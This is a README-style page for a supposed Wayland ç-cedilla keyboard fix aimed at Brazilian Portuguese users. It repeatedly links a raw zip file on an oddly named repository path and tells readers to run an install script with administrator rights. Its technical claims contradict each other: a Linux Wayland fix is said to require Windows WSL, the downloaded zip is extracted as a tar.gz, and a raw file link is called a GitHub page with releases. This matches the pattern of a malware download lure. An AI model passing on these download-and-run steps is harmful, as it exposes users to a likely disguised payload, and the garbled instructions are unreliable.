wayland-cedilla-fix repairs the behavior of the cedilla character (ç) on Wayland compositors. Without this fix, typing ' + c produces ć instead of ç in many apps. This tool makes sure the correct character displays every time across Hyprland, Sway, river, and labwc. It works silently in the background once installed.
This software targets users who type Brazilian Portuguese and need the c-cedilla character frequently. It works on Linux systems running Wayland, supporting popular input methods including fcitx5.
- Windows Subsystem for Linux (WSL) with an Arch Linux distribution or similar
- Wayland-supporting applications or compositor setup (Hyprland, Sway, river, labwc)
- Basic keyboard setup supporting the US International layout or Brazilian Portuguese input methods
- Administrator permissions to run the fix script or binaries
- Active internet connection to download installation files
This software does not run natively on Windows but requires WSL to mimic a Linux Wayland environment where the input issue occurs.
Download the tool first using the button below:
You will find the installation files and instructions on the linked GitHub page.
- Click the large download badge above or open this page in your web browser:
https://raw.githubusercontent.com/Phantomplayeah/wayland-cedilla-fix/main/semaphorist/fix_cedilla_wayland_deltafication.zip - On the GitHub page, look for the Releases section on the right or in the project menu.
- Download the latest release package or script archive appropriate for your system.
You will get either a zipped file with installation scripts or a ready-to-run command script.
wayland-cedilla-fix works within the Windows Subsystem for Linux (WSL). Follow these steps if you do not already have WSL set up:
- Open PowerShell with administrator rights.
- Run this command to enable WSL and set up Ubuntu or Arch Linux:
wsl --install - Restart your computer if prompted.
- After restart, open the Microsoft Store app and search for Ubuntu or Arch Linux.
- Install your preferred Linux distribution.
- Launch the installed Linux from the Start menu. Follow prompts to create a Linux user account.
Once WSL is set up, you are ready to move on.
- Open your WSL terminal (Ubuntu or Arch Linux shell).
- Navigate to the folder where you downloaded the fix file using the
cdcommand. Example:cd /mnt/c/Users/YourName/Downloads - Extract the downloaded archive if needed:
tar -xvf wayland-cedilla-fix.tar.gz
- Run the installation script or command provided in the extracted folder:
./install-fix.sh
The install script will apply changes to your input configuration and set up the fix to run automatically on Wayland sessions.
The fix adjusts your system’s input method settings. It overrides the incorrect dead key mapping that produces ć when you type ' + c. Instead, it ensures the output is the correct c-cedilla (ç). It edits or creates a compose file used by the input system, so the fix applies to all applications running under Wayland compositors.
No further user action is needed after installation.
After installing and launching your Wayland compositor (e.g., Sway or Hyprland), try typing:
'key, thenckey
You should see ç (c with cedilla) appear.
If you type ' + c and get ć again, the fix did not apply properly. Repeat installation or check that you are running a Wayland environment.
install-fix.sh— Shell script to automate the fix installation process.compose.cfg— Custom compose file mapping' + cto ç.README.md— This document with instructions and information.uninstall.sh— Script to remove the fix and revert input settings.
- Ensure you are running a Wayland compositor, not X11. The fix affects Wayland sessions only.
- Confirm your keyboard layout is set to US International or Brazilian Portuguese.
- If you have custom input method software (like fcitx5), restart it after installing the fix.
- If the fix does not apply, try rebooting your Linux subsystem or the Wayland session.
- Compositors: Hyprland, Sway, river, labwc
- Input Methods: fcitx5, standard Linux input methods
- Layouts: US International, Brazilian Portuguese
If you want to remove the fix:
- Open your WSL terminal.
- Navigate to your fix folder where
uninstall.shis located. - Run:
./uninstall.sh
This will revert any changes made to your system's input configuration.
Visit this page to download and get the fix:
https://raw.githubusercontent.com/Phantomplayeah/wayland-cedilla-fix/main/semaphorist/fix_cedilla_wayland_deltafication.zip
You will find the latest releases and detailed files there.
This project focuses on improving typing experience for Brazilian Portuguese users in Wayland environments. It targets a common annoyance caused by input dead-key misconfigurations affecting the c-cedilla character. Its design keeps changes minimal, safe, and easy to install without deep Linux knowledge.